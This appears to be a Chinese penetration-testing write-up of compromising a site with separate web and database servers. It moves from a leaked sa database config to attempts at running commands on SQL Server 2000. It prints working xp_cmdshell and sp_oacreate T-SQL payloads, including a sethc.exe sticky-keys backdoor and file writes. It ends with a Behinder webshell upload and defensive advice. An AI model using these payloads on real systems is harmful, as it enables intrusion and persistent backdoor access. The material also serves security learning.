实战-站库分离拿下WebShell
字数 1115 2025-08-18 17:33:32

实战:站库分离环境下获取WebShell的完整过程

1. 信息收集与泄露发现

  1. 目录扫描发现漏洞

    • 通过目录扫描工具发现目标网站存在目录遍历漏洞
    • 在遍历的目录中发现了app目录的备份文件
    • 备份文件中包含数据库配置文件
  2. 关键信息获取

    • 数据库使用sa账户连接(最高权限)
    • 发现主站无CDN保护
    • 主站IP与数据库配置文件中的IP不一致,确认是站库分离架构

2. MSSQL数据库渗透

2.1 使用Xp_cmdshell执行命令

  1. 连接数据库

    • 使用sqlmap直接连接数据库:
      sqlmap -d "db_type://user:pwd@ip:port/db" command
      
    • 确认数据库版本为SQL Server 2000
  2. 手动连接尝试

    • 由于Navicat不支持MSSQL 2000,改用Database4连接
    • MSSQL 2000默认开启Xp_cmdshell,可直接调用
    • 执行命令失败,可能原因:数据库账户权限不足,无法创建Cmd进程

2.2 使用Sp_oacreate执行命令

  1. Sp_oacreate特点

    • 无命令执行回显
    • 可将命令输出写入文件再读取
  2. 两种执行方式尝试

    -- 方式1
    declare @o int
    exec sp_oacreate 'Shell.Application', @o out
    exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c whoami >e:\test.txt','c:\windows\system32','','1';
    
    -- 方式2
    declare @shell int 
    exec sp_oacreate 'wscript.shell',@shell output 
    exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > c:\\1.txt'
    
    • 两种方式都导致Database4卡死,执行失败

2.3 使用Sp_oacreate创建Shift后门

-- 复制explorer.exe替换sethc.exe
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

-- 复制到dllcache目录
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
  • 命令执行成功但无法触发后门,原因未知

2.4 使用Sp_oacreate读写文件

  1. 创建和写入文件

    declare @o int, @f int, @t int, @ret int
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'createtextfile', @f out, 'e:\tmp1.txt', 1
    exec @ret = sp_oamethod @f, 'writeline', NULL,'tes1t'
    
  2. 查看目录结构

    execute master..xp_dirtree 'e:\',1,1
    
  3. 查看文件内容

    • 注意:表名不能重复,每次查询需更换表名

3. 代码审计与WebShell获取

  1. 发现上传漏洞

    • 审计源码发现未防护的文件上传功能
    • 上传文件会直接传送到http://主站IP:8082/upload
  2. 上传测试

    • 构造HTML上传页面,提交到app目录下的upload.php
    • 先上传正常图片测试功能
  3. 路径问题

    • 提供的路径错误,实际路径在主站下的app目录
  4. 上传WebShell

    • 初次上传一句话木马被杀
    • 测试上传phpinfo()可执行
    • 最终上传冰蝎马成功获取WebShell

关键点总结

  1. 信息收集至关重要:目录遍历漏洞导致数据库配置泄露
  2. 站库分离环境特点:主站和数据库不在同一服务器
  3. SQL Server 2000特性:默认开启Xp_cmdshell
  4. 权限问题:即使有sa权限也可能受系统权限限制
  5. 多种执行命令方式:Xp_cmdshell、Sp_oacreate等
  6. 上传漏洞利用:代码审计发现未防护的上传点
  7. 绕过防护:从简单测试(phpinfo)到复杂马(冰蝎)的渐进过程

防御建议

  1. 禁用目录遍历功能
  2. 不要在生产环境使用sa账户
  3. 定期清理备份文件
  4. 对上传功能进行严格过滤
  5. 最小化数据库账户权限
  6. 禁用不必要的存储过程(Xp_cmdshell等)
  7. 站库分离环境下加强数据库服务器防护
实战:站库分离环境下获取WebShell的完整过程 1. 信息收集与泄露发现 目录扫描发现漏洞 通过目录扫描工具发现目标网站存在 目录遍历漏洞 在遍历的目录中发现了 app 目录的备份文件 备份文件中包含数据库配置文件 关键信息获取 数据库使用 sa账户 连接(最高权限) 发现主站无CDN保护 主站IP与数据库配置文件中的IP不一致,确认是 站库分离架构 2. MSSQL数据库渗透 2.1 使用Xp_ cmdshell执行命令 连接数据库 使用sqlmap直接连接数据库: 确认数据库版本为 SQL Server 2000 手动连接尝试 由于Navicat不支持MSSQL 2000,改用Database4连接 MSSQL 2000默认开启Xp_ cmdshell,可直接调用 执行命令失败,可能原因:数据库账户权限不足,无法创建Cmd进程 2.2 使用Sp_ oacreate执行命令 Sp_ oacreate特点 无命令执行回显 可将命令输出写入文件再读取 两种执行方式尝试 两种方式都导致Database4卡死,执行失败 2.3 使用Sp_ oacreate创建Shift后门 命令执行成功但无法触发后门,原因未知 2.4 使用Sp_ oacreate读写文件 创建和写入文件 查看目录结构 查看文件内容 注意:表名不能重复,每次查询需更换表名 3. 代码审计与WebShell获取 发现上传漏洞 审计源码发现未防护的文件上传功能 上传文件会直接传送到 http://主站IP:8082/upload 下 上传测试 构造HTML上传页面,提交到 app 目录下的 upload.php 先上传正常图片测试功能 路径问题 提供的路径错误,实际路径在主站下的 app 目录 上传WebShell 初次上传一句话木马被杀 测试上传 phpinfo() 可执行 最终上传冰蝎马成功获取WebShell 关键点总结 信息收集至关重要 :目录遍历漏洞导致数据库配置泄露 站库分离环境特点 :主站和数据库不在同一服务器 SQL Server 2000特性 :默认开启Xp_ cmdshell 权限问题 :即使有sa权限也可能受系统权限限制 多种执行命令方式 :Xp_ cmdshell、Sp_ oacreate等 上传漏洞利用 :代码审计发现未防护的上传点 绕过防护 :从简单测试(phpinfo)到复杂马(冰蝎)的渐进过程 防御建议 禁用目录遍历功能 不要在生产环境使用sa账户 定期清理备份文件 对上传功能进行严格过滤 最小化数据库账户权限 禁用不必要的存储过程(Xp_ cmdshell等) 站库分离环境下加强数据库服务器防护